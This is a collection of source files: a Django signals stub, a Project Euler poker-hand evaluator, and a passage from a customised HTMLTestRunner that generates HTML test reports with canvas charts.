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from django.core.cache import cache from django.db.models.signals import post_save from django.dispatch import receiver, Signal from .models import Thread, ThreadView # from ..miscs.models.activity import Action # from ..miscs.signals.activity import activity_updater # # # # @receiver(post_save, sender=Action) # # def like_and_dislike_handler(sender, instance, created, **kwargs): # # from django.contrib.contenttypes.models import ContentType # # ct = ContentType.objects.get_for_model(instance).get_object_for_this_type() # # if created: # # get_ct_for_obj_of_instance = instance.content_object # # if instance.action_value == Action.LIKE: # # get_ct_for_obj_of_instance.likes = ct # # print('Ading likes counter') # # else: # # print('Adding dislike counter') # # get_ct_for_obj_of_instance.dislikes = ct # # get_ct_for_obj_of_instance.save() # # # # # # # @receiver(activity_updater) # # # def hal(sender, **kwargs): # # # print('Sender is', sender, kwargs.get('obj'))

[ "adepeter26@gmail.com" ]

adepeter26@gmail.com

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/Python/p054.py

5e1b3d10cd61cc7ac9cc6ddf425d935f8b7f6f81

[]

no_license

kentfrazier/euler

e48f49170ecc5def51ec6dcfc73b01c51ba5ec7a

21e82060128026287a84f6d455f247df6910a099

refs/heads/master

2021-01-10T08:19:55.219330

2013-03-20T05:15:22

null

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# In the card game poker, a hand consists of five cards and are ranked # , from lowest to highest, in the following way: # # * High Card: Highest value card. # * One Pair: Two cards of the same value. # * Two Pairs: Two different pairs. # * Three of a Kind: Three cards of the same value. # * Straight: All cards are consecutive values. # * Flush: All cards of the same suit. # * Full House: Three of a kind and a pair. # * Four of a Kind: Four cards of the same value. # * Straight Flush: All cards are consecutive values of same suit. # * Royal Flush: Ten, Jack, Queen, King, Ace, in same suit. # # The cards are valued in the order: # 2, 3, 4, 5, 6, 7, 8, 9, 10, Jack, Queen, King, Ace. # # If two players have the same ranked hands then the rank made up of # the highest value wins; for example, a pair of eights beats a pair # of fives (see example 1 below). But if two ranks tie, for example, # both players have a pair of queens, then highest cards in each hand # are compared (see example 4 below); if the highest cards tie then # the next highest cards are compared, and so on. # # Consider the following five hands dealt to two players: # # The file, poker.txt, contains one-thousand random hands dealt to # two players. Each line of the file contains ten cards (separated by # a single space): the first five are Player 1's cards and the last # five are Player 2's cards. You can assume that all hands are valid # (no invalid characters or repeated cards), each player's hand is in # no specific order, and in each hand there is a clear winner. # # How many hands does Player 1 win? from copy import copy HEARTS = 0 SPADES = 1 CLUBS = 2 DIAMONDS = 3 TWO = 0 THREE = 1 FOUR = 2 FIVE = 3 SIX = 4 SEVEN = 5 EIGHT = 6 NINE = 7 TEN = 8 JACK = 9 QUEEN = 10 KING = 11 ACE = 12 HIGH_CARD = 0 PAIR = 1 TWO_PAIR = 2 THREE_OF_A_KIND = 3 STRAIGHT = 4 FLUSH = 5 FULL_HOUSE = 6 FOUR_OF_A_KIND = 7 STRAIGHT_FLUSH = 8 suits = { 'H': HEARTS, 'S': SPADES, 'C': CLUBS, 'D': DIAMONDS, } ranks = { '2': TWO, '3': THREE, '4': FOUR, '5': FIVE, '6': SIX, '7': SEVEN, '8': EIGHT, '9': NINE, 'T': TEN, 'J': JACK, 'Q': QUEEN, 'K': KING, 'A': ACE, } class Card(object): def __init__(self, card_string): self.rank = ranks[card_string[0]] self.suit = suits[card_string[1]] self.string = card_string def __cmp__(self, other_card): if self.rank < other_card.rank: return -1 if self.rank > other_card.rank: return 1 return 0 def __str__(self): return self.string class Hand(object): def __init__(self, cards): self.cards = sorted([Card(card) for card in cards], reverse=True) self.hand_value = self.evaluate() def evaluate(self): if len(set(card.suit for card in self.cards)) == 1: flush = True else: flush = False if ( len(set( card.rank for card in self.cards ) ^ set([ACE, TWO, THREE, FOUR, FIVE])) == 0 or all( (self.cards[i].rank == (self.cards[i+1].rank + 1)) for i in range(len(self.cards)-1) ) ): straight = True else: straight = False if straight or flush: self.active_cards = self.cards self.remaining_cards = [] self.major_rank = None self.minor_rank = None if straight and flush: return STRAIGHT_FLUSH if flush: return FLUSH if straight: return STRAIGHT ranks = [ card.rank for card in self.cards ] distribution = dict((rank, ranks.count(rank)) for rank in set(ranks)) four_sets = [ key for key in distribution.keys() if distribution.get(key) == 4 ] three_sets = [ key for key in distribution.keys() if distribution.get(key) == 3 ] pairs = [ key for key in distribution.keys() if distribution.get(key) == 2 ] if len(four_sets) == 1: self.major_rank = four_sets[0] self.minor_rank = None self.active_cards = [ card for card in self.cards if card.rank in four_sets ] self.remaining_cards = [ card for card in self.cards if card.rank not in four_sets ] return FOUR_OF_A_KIND if len(three_sets) == 1: self.major_rank = three_sets[0] if len(pairs) == 1: self.minor_rank = pairs[0] self.active_cards = self.cards self.remaining_cards = [] return FULL_HOUSE self.minor_rank = None self.active_cards = [ card for card in self.cards if card.rank in three_sets ] self.remaining_cards = [ card for card in self.cards if card.rank not in three_sets ] return THREE_OF_A_KIND if len(pairs) == 2: self.major_rank = max(pairs) self.minor_rank = min(pairs) self.active_cards = [ card for card in self.cards if card.rank in pairs ] self.remaining_cards = [ card for card in self.cards if card.rank not in pairs] return TWO_PAIR if len(pairs) == 1: self.major_rank = pairs[0] self.minor_rank = None self.active_cards = [ card for card in self.cards if card.rank in pairs ] self.remaining_cards = [ card for card in self.cards if card.rank not in pairs] return PAIR self.active_cards = [self.cards[0]] self.remaining_cards = self.cards[1:] self.major_rank = self.active_cards[0].rank self.minor_rank = None return HIGH_CARD def __cmp__(self, other_hand): if self.hand_value > other_hand.hand_value: return 1 if self.hand_value < other_hand.hand_value: return -1 if self.major_rank > other_hand.major_rank: return 1 if self.major_rank < other_hand.major_rank: return -1 if self.minor_rank > other_hand.minor_rank: return 1 if self.minor_rank < other_hand.minor_rank: return -1 if self.active_cards > other_hand.active_cards: return 1 if self.active_cards < other_hand.active_cards: return -1 if self.remaining_cards > other_hand.remaining_cards: return 1 if self.remaining_cards < other_hand.remaining_cards: return -1 return 0 def __str__(self): return ', '.join([str(card) for card in self.active_cards]) + ' (' + ', '.join([str(card) for card in self.remaining_cards]) + ') - ' + str(self.hand_value) if __name__ == "__main__": player_1_wins = 0 player_2_wins = 0 ties = 0 with open('poker.txt','r') as file: for line in file.readlines(): cards = line.strip().split() player_1_hand = Hand(cards[:5]) player_2_hand = Hand(cards[5:]) if player_1_hand > player_2_hand: player_1_wins += 1 elif player_1_hand < player_2_hand: player_2_wins += 1 else: ties += 1 print player_1_wins

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""" A TestRunner for use with the Python unit testing framework. It generates a HTML report to show the result at a glance. The simplest way to use this is to invoke its main method. E.g. import unittest import HTMLTestRunner ... define your tests ... if __name__ == '__main__': HTMLTestRunner.main() For more customization options, instantiates a HTMLTestRunner object. HTMLTestRunner is a counterpart to unittest's TextTestRunner. E.g. # output to a file fp = file('my_report.html', 'wb') runner = HTMLTestRunner.HTMLTestRunner( stream=fp, title='My unit test', description='This demonstrates the report output by HTMLTestRunner.' ) # Use an external stylesheet. # See the Template_mixin class for more customizable options runner.STYLESHEET_TMPL = '<link rel="stylesheet" href="my_stylesheet.css" type="text/css">' # run the test runner.run(my_test_suite) ------------------------------------------------------------------------ Copyright (c) 2004-2007, Wai Yip Tung All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name Wai Yip Tung nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ # URL: http://tungwaiyip.info/software/HTMLTestRunner.html __author__ = "Wai Yip Tung" __version__ = "0.8.2" """ Change History Version 0.8.2 * Show output inline instead of popup window (Viorel Lupu). Version in 0.8.1 * Validated XHTML (Wolfgang Borgert). * Added description of test classes and test cases. Version in 0.8.0 * Define Template_mixin class for customization. * Workaround a IE 6 bug that it does not treat <script> block as CDATA. Version in 0.7.1 * Back port to Python 2.3 (Frank Horowitz). * Fix missing scroll bars in detail log (Podi). """ # TODO: color stderr # TODO: simplify javascript using ,ore than 1 class in the class attribute? import datetime import io import sys import time import unittest from xml.sax import saxutils # ------------------------------------------------------------------------ # The redirectors below are used to capture output during testing. Output # sent to sys.stdout and sys.stderr are automatically captured. However # in some cases sys.stdout is already cached before HTMLTestRunner is # invoked (e.g. calling logging.basicConfig). In order to capture those # output, use the redirectors for the cached stream. # # e.g. # >>> logging.basicConfig(stream=HTMLTestRunner.stdout_redirector) # >>> class OutputRedirector(object): """ Wrapper to redirect stdout or stderr """ def __init__(self, fp): self.fp = fp def write(self, s): self.fp.write(s) def writelines(self, lines): self.fp.writelines(lines) def flush(self): self.fp.flush() stdout_redirector = OutputRedirector(sys.stdout) stderr_redirector = OutputRedirector(sys.stderr) # ---------------------------------------------------------------------- # Template class Template_mixin(object): """ Define a HTML template for report customerization and generation. Overall structure of an HTML report HTML +------------------------+ |<html> | | <head> | | | | STYLESHEET | | +----------------+ | | | | | | +----------------+ | | | | </head> | | | | <body> | | | | HEADING | | +----------------+ | | | | | | +----------------+ | | | | REPORT | | +----------------+ | | | | | | +----------------+ | | | | ENDING | | +----------------+ | | | | | | +----------------+ | | | | </body> | |</html> | +------------------------+ """ STATUS = { 0: 'pass', 1: 'fail', 2: 'error', } DEFAULT_TITLE = 'Unit Test Report' DEFAULT_DESCRIPTION = '' # ------------------------------------------------------------------------ # HTML Template HTML_TMPL = r"""<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>%(title)s</title> <meta name="generator" content="%(generator)s"/> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> %(stylesheet)s </head> <body style="background-color:#C0C0C0"> <script language="javascript" type="text/javascript"></script> %(heading)s %(report)s %(ending)s %(chart)s </body> </html> <script type="text/javascript"> function drawCircle(pass, fail, error){ var color = ["#6c6","#c60","#c00"]; var data = [pass,fail,error]; var canvas = document.getElementById("circle"); var ctx = canvas.getContext("2d"); var startPoint=0; for(var i=0;i<data.length;i++){ ctx.fillStyle = color[i]; ctx.beginPath(); ctx.moveTo(112,84); ctx.arc(112,84,84,startPoint,startPoint+Math.PI*2*(data[i]/(data[0]+data[1]+data[2])),false); ctx.fill(); startPoint += Math.PI*2*(data[i]/(data[0]+data[1]+data[2])); } } function FillRect(cxt, x1, y1, width, height, color) { cxt.fillStyle = color; cxt.fillRect(x1, y1, width, height); } function drawBar(pass, fail, error){ var color = ["#6c6","#c60","#c00"]; var data = [pass,fail,error]; var count = pass + fail + error; var h =[10+(1 - pass/count)*148,10+(1 - fail/count)*148,10+(1 - error/count)*148]; var x = [30,90,150]; var y = [70,130,190]; var canvas = document.getElementById("bar"); var ctx = canvas.getContext("2d"); DrawString(ctx, 'Count(c)', '', '', '', '', 15, 10) DrawLine(ctx,5,15,10,10,'black'); DrawLine(ctx,15,15,10,10,'black'); DrawLine(ctx,10,10,10,158,'black'); DrawLine(ctx,10,158,215,158,'black'); DrawLine(ctx,210,153,215,158,'black'); DrawLine(ctx,210,163,215,158,'black'); DrawString(ctx, 'Type(c)', '', '', '', '', 180, 160) for(var i=0;i<3;i++) { DrawLine(ctx,x[i],h[i],x[i],158,color[i]); DrawLine(ctx,x[i],h[i],y[i],h[i],color[i]); DrawLine(ctx,y[i],h[i],y[i],158,color[i]); DrawLine(ctx,(y[i]+x[i])/2,153,(y[i]+x[i])/2,158,color[i]); DrawString(ctx, data[i], '', color[i], '', '', (y[i]+x[i])/2, h[i]-15); FillRect(ctx, x[i], h[i], 40, 158-h[i], color[i]); } } function DrawP(ctx, P) { with (ctx) { moveTo(P[0],P[1]); lineTo(P[0]+1,P[1]+1); } } function DrawLine(cxt, x1, y1, x2, y2, color) { cxt.strokeStyle = color; cxt.beginPath(); cxt.moveTo(x1, y1); cxt.lineTo(x2, y2); cxt.stroke(); } function DrawString(cxt, text, font, color, align, v_align, x, y) { if (font == "") { cxt.font = "10px"; } else { cxt.font = font; } if (color == "") { cxt.fillStyle = "#000000"; } else { cxt.fillStyle = color; } if (align == "") { cxt.textAlign = "left"; } else { cxt.textAlign = align; } if (v_align == "") { cxt.textBaseline = "top"; } else { cxt.textBaseline = v_align; } cxt.fillText(text, x, y); } function drawline(pass, fail, error){ var color = ["#6c6","#c60","#c00"]; var data = [pass,fail,error]; var count = pass + fail + error; var x = [30,90,150]; var y = [70,130,190]; var h =[10+(1 - pass/count)*148,10+(1 - fail/count)*148,10+(1 - error/count)*148]; var canvas = document.getElementById("line"); var ctx = canvas.getContext("2d"); DrawString(ctx, 'Count(c)', '', '', '', '', 15, 10) DrawLine(ctx,5,15,10,10,'black'); DrawLine(ctx,15,15,10,10,'black'); DrawLine(ctx,10,10,10,158,'black'); DrawLine(ctx,10,158,215,158,'black'); DrawLine(ctx,210,153,215,158,'black'); DrawLine(ctx,210,163,215,158,'black'); DrawString(ctx, 'Type(c)', '', '', '', '', 180, 160) for(var i=0;i<3;i++) { p = Array((y[i]+x[i])/2,h[i]); DrawP(ctx,p); DrawLine(ctx,(y[i]+x[i])/2,153,(y[i]+x[i])/2,158,color[i]); DrawString(ctx, data[i], '', color[i], '', '', (y[i]+x[i])/2, h[i]-15); if(i < 2) { DrawLine(ctx,(y[i]+x[i])/2,h[i],(y[i+1]+x[i+1])/2,h[i+1],'black'); } } } </script> """ # variables: (title, generator, stylesheet, heading, report, ending) # ------------------------------------------------------------------------ # Stylesheet # # alternatively use a <link> for external style sheet, e.g. # <link rel="stylesheet" href="$url" type="text/css"> STYLESHEET_TMPL = """ <style type="text/css" media="screen"> body { font-family: verdana, arial, helvetica, sans-serif; font-size: 80%; } table { font-size: 100%; } pre { } /* -- heading ---------------------------------------------------------------------- */ h1 { font-size: 16pt; color: gray; } .heading { margin-top: 0ex; margin-bottom: 1ex; } .heading .attribute { margin-top: 1ex; margin-bottom: 0; } .button{ border:1px solid #cccccc; cursor:pointer; margin:10px 5px; height:40px; text-align:center; border-radius: 4px; border-color: #636263 #464647 #A1A3A5; text-shadow: 0 1px 1px #F6F6F6; background-image: -moz-linear-gradient(center top, #D9D9D9, #A6A6A6 49%, #A6A6A6 50%); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #D9D9D9),color-stop(1, #A6A6A6)); } .buttonText{ position:relative; font-weight:bold; top:10px; color:#58595B; } .heading .description { margin-top: 4ex; margin-bottom: 6ex; } .panel .description{ border:1px solid #CCCCCC; border-color: #636263 #464647 #A1A3A5; margin:10px 5px; height:165px; border-radius: 4px; } .scroll-item { position: relative; width: 100%; height: 32px; border-bottom:1px solid gray; cursor: pointer; } .item-even { background-color: #E7E8EC; } .item-odd { background-color: #E0ECF6; } .rect { float: left; margin-top: 5px; margin-left: 5px; width: 20px; height: 20px; border-radius: 3px; } .item-text{ margin-left: 5px; height: 100%; float: left; font-size: 14px; vertical-align: middle; display: inline-block; line-height: 30px; } .bg{ position:absolute; height:97%; width:80%; overflow-x: hidden; overflow-y:hidden; } .panel{ position:absolute; height:550px; width:750px; left:45px; top:45px; border-radius: 12px; background-image: -moz-linear-gradient(top,#EBEBEB, #BFBFBF); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #EBEBEB),color-stop(1, #BFBFBF)); } .panel1{ position:absolute; height:550px; width:200px; left:800px; top:45px; border-radius: 12px; background-image: -moz-linear-gradient(top,#EBEBEB, #BFBFBF); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #EBEBEB),color-stop(1, #BFBFBF)); } .panelBg{ position:absolute; height:600px; width:1000px; left:20px; top:20px; border-radius: 12px; background-color:#000000; opacity:0.5; } .title{ border:1px solid green; position:relative; margin:5px; font-size:22px; font-weight:bold; text-align:center; color:#58595B; } .piechart{ border:1px solid green; margin:5px; height:170px; } .barchart{ border:1px solid green; margin:5px; height:170px; } .linechart{ border:1px solid green; margin:5px; height:170px; } .subTitle{ border:1px solid green; margin:5px; font-size:14px; height:70px; font-weight:bold; text-indent:2em; color:#6D6E71; } /* -- css div popup ------------------------------------------------------------------------ */ a.popup_link { } a.popup_link:hover { color: red; } .popup_window { display: none; position: relative; left: 0px; top: 0px; /*border: solid #627173 1px; */ padding: 10px; background-color: #E6E6D6; font-family: "Lucida Console", "Courier New", Courier, monospace; text-align: left; font-size: 8pt; width: 500px; } } /* -- report ------------------------------------------------------------------------ */ #show_detail_line { margin-top: 3ex; margin-bottom: 1ex; } #result_table { width: 80%; border-collapse: collapse; border: 1px solid #777; } #header_row { font-weight: bold; color: white; background-color: #777; } #result_table td { border: 2px solid #777; padding: 3px; } #total_row { font-weight: bold; } .passClass { background-color: #6c6; } .failClass { background-color: #c60; } .errorClass { background-color: #c00; } .passCase { color: #58595B; font-weight: bold;} .failCase { color: #c60; font-weight: bold; } .errorCase { color: #c00; font-weight: bold; } .hiddenRow { display: none; } .testcase { margin-left: 2em; } #section1{ border:1px solid green; position:relative; float:left; width:235px; height:530px; top:10px; left:10px; } #section2{ border:1px solid green; position:relative; float:left; width:235px; height:530px; top:10px; left:20px; } #section3{ border:1px solid green; position:relative; float:left; width:235px; height:530px; top:10px; left:30px; } #section4{ border:1px solid green; position:relative; float:left; width:180px; height:530px; top:10px; left:10px; } .loseeffect{ color:black; text-decoration:none; cursor:text; } /* -- ending ---------------------------------------------------------------------- */ #ending { } </style> """ # ------------------------------------------------------------------------ # Heading # HEADING_TMPL = """<div class='heading'> <h1>%(title)s</h1> %(parameters)s <p class='description'>%(description)s</p> </div> """ # variables: (title, parameters, description) HEADING_ATTRIBUTE_TMPL = """<p class='attribute'><strong>%(name)s:</strong> %(value)s</p> """ # variables: (name, value) # ------------------------------------------------------------------------ # Report # REPORT_TMPL = """ <p id='show_detail_line'>Show <a href='javascript:showCase(0)'>Summary</a> <a href='javascript:showCase(1)'>Pass</a> <a href='javascript:showCase(2)'>Fail</a> <a href='javascript:showCase(3)'>Error</a> <a href='javascript:showCase(5)'>Fail&Error</a> <a href='javascript:showCase(4)'>All</a> </p> <table id='result_table'> <colgroup> <col align='left' /> <col align='right' /> <col align='right' /> <col align='right' /> <col align='right' /> <col align='right' /> </colgroup> <tr id='header_row'> <td>Test Group/Test case</td> <td>Count</td> <td>Pass</td> <td>Fail</td> <td>Error</td> <td>CaseShot</td> <td>CaseInfo</td> </tr> %(test_list)s <tr id='total_row'> <td>Total and Rate</td> <td>%(count)s</td> <td>%(Pass)s</td> <td>%(fail)s</td> <td>%(error)s</td> <td>Proportion</td> <td>%(Pass)s/%(count)s</td> </tr> </table> """ # variables: (test_list, count, Pass, fail, error) REPORT_CLASS_TMPL = r""" <tr class='%(style)s'> <td>%(desc)s</td> <td>%(count)s</td> <td>%(Pass)s</td> <td>%(fail)s</td> <td>%(error)s</td> <td>Click hyperlink view</td> <td><a href="javascript:showClassDetail('%(cid)s',%(count)s)">Detail</a></td> </tr> """ # variables: (style, desc, count, Pass, fail, error, cid) REPORT_TEST_WITH_OUTPUT_TMPL = r""" <tr id='%(tid)s' class='%(Class)s'> <td class='%(style)s'><div class='testcase'>%(desc)s</div></td> <td colspan='4' align='center'>  <a class="popup_link" onfocus='this.blur();' href="javascript:showTestDetail('div_%(tid)s')" > %(status)s</a> <div id='div_%(tid)s' class="popup_window"> <div style='text-align: right; color:red;cursor:pointer'> <a onfocus='this.blur();' onclick="document.getElementById('div_%(tid)s').style.display = 'none' " > [x]</a> </div> <pre> %(script_out)s </pre> </div>  </td> <td colspan='1' align='center'><a %(hidde)s href="%(image_url)s" class="%(loseeffect)s">picture_shot</a> </td> <td colspan='1' align='center'>%(script_info)s</td> </tr> """ # variables: (tid, Class, style, desc, status) REPORT_TEST_NO_OUTPUT_TMPL = r""" <tr id='%(tid)s' class='%(Class)s'> <td class='%(style)s'><div class='testcase'>%(desc)s</div></td> <td colspan='4' align='center'> <a class="popup_link" onfocus='this.blur();' href="javascript:showTestDetail('div_%(tid)s')" > %(status)s</a> <div id='div_%(tid)s' class="popup_window"> <div style='text-align: right; color:red;cursor:pointer'> <a onfocus='this.blur();' onclick="document.getElementById('div_%(tid)s').style.display = 'none' " > [x]</a> </div> <pre> %(script_out)s </pre> </div> </td> <td colspan='1' align='center'><a %(hidde)s href="%(image_url)s" class="%(loseeffect)s">picture_shot</a> </td> <td colspan='1' align='center'>%(script_info)s</td> </tr> """ # variables: (tid, Class, style, desc, status) REPORT_TEST_OUTPUT_TMPL = r""" %(id)s: %(output)s """ # variables: (id, output) CASEINFO_OUTPUT_TMPL = r""" %(caseinfo)s """ # variables: (caseinfo) # ------------------------------------------------------------------------ # ENDING # ENDING_TMPL = """<div id='ending'> </div>""" CHART_TMPL = """<div class="bg"> <div class="panelBg"></div> <div class="panel"> <div id="section1"> <div class="title">测试饼图</div> <div class="subTitle">This chart is to show the rate that statis of test cases</div> <div class="piechart"> <canvas id="circle" width="225" height="168" onmousemove='javascript:drawCircle(%(Pass)s, %(fail)s, %(error)s)'>your browser does not support the canvas tag</canvas> </div> <div class="description"> <div class="scroll-item item-even"> <div class="rect" style="background-color: #6c6; "></div> <div class="item-text">Passcase:%(Pass)s</div> </div> <div class="scroll-item item-odd"> <div class="rect" style="background-color: #c60; "></div> <div class="item-text">failcase:%(fail)s</div> </div> <div class="scroll-item item-even"> <div class="rect" style="background-color: #c00; "></div> <div class="item-text">errorcase:%(error)s</div> </div> <div class="scroll-item item-odd"> </div> <div class="scroll-item item-even"> </div> </div> <div class="button" onclick='javascript:drawCircle(%(Pass)s, %(fail)s, %(error)s)'><span class="buttonText">CLICK SEE PIE CHART</span></div> </div> <div id="section2"> <div class="title">测试柱状图</div> <div class="subTitle">This chart is to show the count that statis of test cases</div> <div class="barchart"> <canvas id="bar" width="225" height="168" onclick='javascript:drawBar(%(Pass)s, %(fail)s, %(error)s)'>your browser does not support the canvas tag</canvas> </div> <div class="description"> <div class="scroll-item item-even"> <div class="rect" style="background-color: #6c6; "></div> <div class="item-text">Passcase:%(Pass)s</div> </div> <div class="scroll-item item-odd"> <div class="rect" style="background-color: #c60; "></div> <div class="item-text">failcase:%(fail)s</div> </div> <div class="scroll-item item-even"> <div class="rect" style="background-color: #c00; "></div> <div class="item-text">errorcase:%(error)s</div> </div> <div class="scroll-item item-odd"> </div> <div class="scroll-item item-even"> </div> </div> <div class="button" onclick='javascript:drawBar(%(Pass)s, %(fail)s, %(error)s)'><span class="buttonText">CLICK SEE BAR CHART</span></div> </div> <div id="section3"> <div class="title">测试分析线形图</div> <div class="subTitle">This chart is to show the rate that data of test cases</div> <div class="linechart"> <canvas id="line" width="225" height="168" onclick='javascript:drawline(%(Pass)s, %(fail)s, %(error)s)'>your browser does not support the canvas tag</canvas> </div> <div class="description"> <div class="scroll-item item-even"> <div class="rect" style="background-color: #6c6; "></div> <div class="item-text">Passcase:%(Pass)s</div> </div> <div class="scroll-item item-odd"> <div class="rect" style="background-color: #c60; "></div> <div class="item-text">failcase:%(fail)s</div> </div> <div class="scroll-item item-even"> <div class="rect" style="background-color: #c00; "></div> <div class="item-text">errorcase:%(error)s</div> </div> <div class="scroll-item item-odd"> </div> <div class="scroll-item item-even"> </div> </div> <div class="button" onclick='javascript:drawline(%(Pass)s, %(fail)s, %(error)s)'><span class="buttonText">CLICK SEE BAR CHART</span></div> </div> </div> <div class="panel1"> <div id="section4"> <a>%(Pass)s Pass cases, %(fail)s fail cases, %(error)s error cases.</a> </div> </div> </div>""" # -------------------- The end of the Template class ------------------- TestResult = unittest.TestResult class _TestResult(TestResult): # note: _TestResult is a pure representation of results. # It lacks the output and reporting ability compares to unittest._TextTestResult. def __init__(self, verbosity=1): TestResult.__init__(self) self.stdout0 = None self.stderr0 = None self.success_count = 0 self.failure_count = 0 self.error_count = 0 self.verbosity = verbosity # result is a list of result in 4 tuple # ( # result code (0: success; 1: fail; 2: error), # TestCase object, # Test output (byte string), # stack trace, # ) self.result = [] def startTest(self, test): TestResult.startTest(self, test) # just one buffer for both stdout and stderr self.outputBuffer = io.StringIO() stdout_redirector.fp = self.outputBuffer stderr_redirector.fp = self.outputBuffer self.stdout0 = sys.stdout self.stderr0 = sys.stderr sys.stdout = stdout_redirector sys.stderr = stderr_redirector def complete_output(self): """ Disconnect output redirection and return buffer. Safe to call multiple times. """ if self.stdout0: sys.stdout = self.stdout0 sys.stderr = self.stderr0 self.stdout0 = None self.stderr0 = None return self.outputBuffer.getvalue() def stopTest(self, test): # Usually one of addSuccess, addError or addFailure would have been called. # But there are some path in unittest that would bypass this. # We must disconnect stdout in stopTest(), which is guaranteed to be called. self.complete_output() def addSuccess(self, test): self.success_count += 1 TestResult.addSuccess(self, test) output = self.complete_output() self.result.append((0, test, output, '')) if self.verbosity > 1: sys.stderr.write('ok ') sys.stderr.write(str(test)) sys.stderr.write('\n') else: sys.stderr.write('.') def addError(self, test, err): self.error_count += 1 TestResult.addError(self, test, err) _, _exc_str = self.errors[-1] output = self.complete_output() self.result.append((2, test, output, _exc_str)) if self.verbosity > 1: sys.stderr.write('E ') sys.stderr.write(str(test)) sys.stderr.write('\n') else: sys.stderr.write('E') def addFailure(self, test, err): self.failure_count += 1 TestResult.addFailure(self, test, err) _, _exc_str = self.failures[-1] output = self.complete_output() self.result.append((1, test, output, _exc_str)) if self.verbosity > 1: sys.stderr.write('F ') sys.stderr.write(str(test)) sys.stderr.write('\n') else: sys.stderr.write('F') class HTMLTestRunner(Template_mixin): """ """ def __init__(self, test_name,stream=sys.stdout, verbosity=1, title=None, description=None,): self.stream = stream self.test_name = test_name self.verbosity = verbosity if title is None: self.title = self.DEFAULT_TITLE else: self.title = title if description is None: self.description = self.DEFAULT_DESCRIPTION else: self.description = description self.startTime = datetime.datetime.now() def run(self, test, caseinfo={}): super(HTMLTestRunner,self).__init__() "Run the given test case or test suite." result = _TestResult(self.verbosity) test(result) # print(test(result)) self.stopTime = datetime.datetime.now() self.generateReport(test, result, caseinfo) # print (sys.stderr, '\nTime Elapsed: %s' % (self.stopTime-self.startTime)) return result def sortResult(self, result_list): # unittest does not seems to run in any particular order. # Here at least we want to group them together by class. rmap = {} classes = [] for n,t,o,e in result_list: cls = t.__class__ if not cls in rmap: rmap[cls] = [] classes.append(cls) rmap[cls].append((n,t,o,e)) r = [(cls, rmap[cls]) for cls in classes] return r def getReportAttributes(self, result): """ Return report attributes as a list of (name, value). Override this to add custom attributes. """ startTime = str(self.startTime)[:19] duration = str(self.stopTime - self.startTime) status = [] if result.success_count: status.append('Pass %s' % result.success_count) if result.failure_count: status.append('Failure %s' % result.failure_count) if result.error_count: status.append('Error %s' % result.error_count ) if status: status = ' '.join(status) else: status = 'none' return [ ('Start Time', startTime), ('Duration', duration), ('Status', status), ] def generateReport(self, test, result, caseinfo): report_attrs = self.getReportAttributes(result) generator = 'HTMLTestRunner %s' % __version__ stylesheet = self._generate_stylesheet() heading = self._generate_heading(report_attrs) report = self._generate_report(result, caseinfo) ending = self._generate_ending() chart = self._generate_chart(result) output = self.HTML_TMPL % dict( title = saxutils.escape(self.title), generator = generator, stylesheet = stylesheet, heading = heading, report = report, ending = ending, chart = chart, ) self.stream.write(output.encode('utf8')) def _generate_stylesheet(self): return self.STYLESHEET_TMPL def _generate_heading(self, report_attrs): a_lines = [] for name, value in report_attrs: line = self.HEADING_ATTRIBUTE_TMPL % dict( name = saxutils.escape(name), value = saxutils.escape(value), ) a_lines.append(line) heading = self.HEADING_TMPL % dict( title = saxutils.escape(self.title), parameters = ''.join(a_lines), description = saxutils.escape(self.description), ) return heading def _generate_report(self, result, caseinfo): rows = [] s= 0 sortedResult = self.sortResult(result.result) for cid, (cls, cls_results) in enumerate(sortedResult): # subtotal for a class np = nf = ne = 0 for n,t,o,e in cls_results: if n == 0: np += 1 elif n == 1: nf += 1 elif n == 2: ne += 1 # format class description if cls.__module__ == "__main__": name = cls.__name__ else: name = "%s.%s" % (cls.__module__, cls.__name__) doc = cls.__doc__ and cls.__doc__.split("\n")[0] or "" desc = doc and '%s: %s' % (name, doc) or name s += 1 row = self.REPORT_CLASS_TMPL % dict( style = ne > 0 and 'errorClass' or nf > 0 and 'failClass' or 'passClass', desc = desc, count = np+nf+ne, Pass = np, fail = nf, error = ne, cid = 'c%s' % (cid+1), ) rows.append(row) i = 0 # print(cls_results) for tid, (n,t,o,e) in enumerate(cls_results): if len(self.test_name) == i: break self._generate_report_test(rows, cid, tid, n, t, o, e, caseinfo,case_name=self.test_name[i]) i += 1 report = self.REPORT_TMPL % dict( test_list = ''.join(rows), count = str(result.success_count+result.failure_count+result.error_count), Pass = str(result.success_count), fail = str(result.failure_count), error = str(result.error_count), ) return report def _generate_report_test(self, rows, cid, tid, n, t, o, e, caseinfo,case_name=''): # e.g. 'Pt1.1', 'Ft1.1','E1.1,' etc has_output = bool(o or e) if n == 0: tid = 'Pt%s.%s' % (cid+1,tid+1) 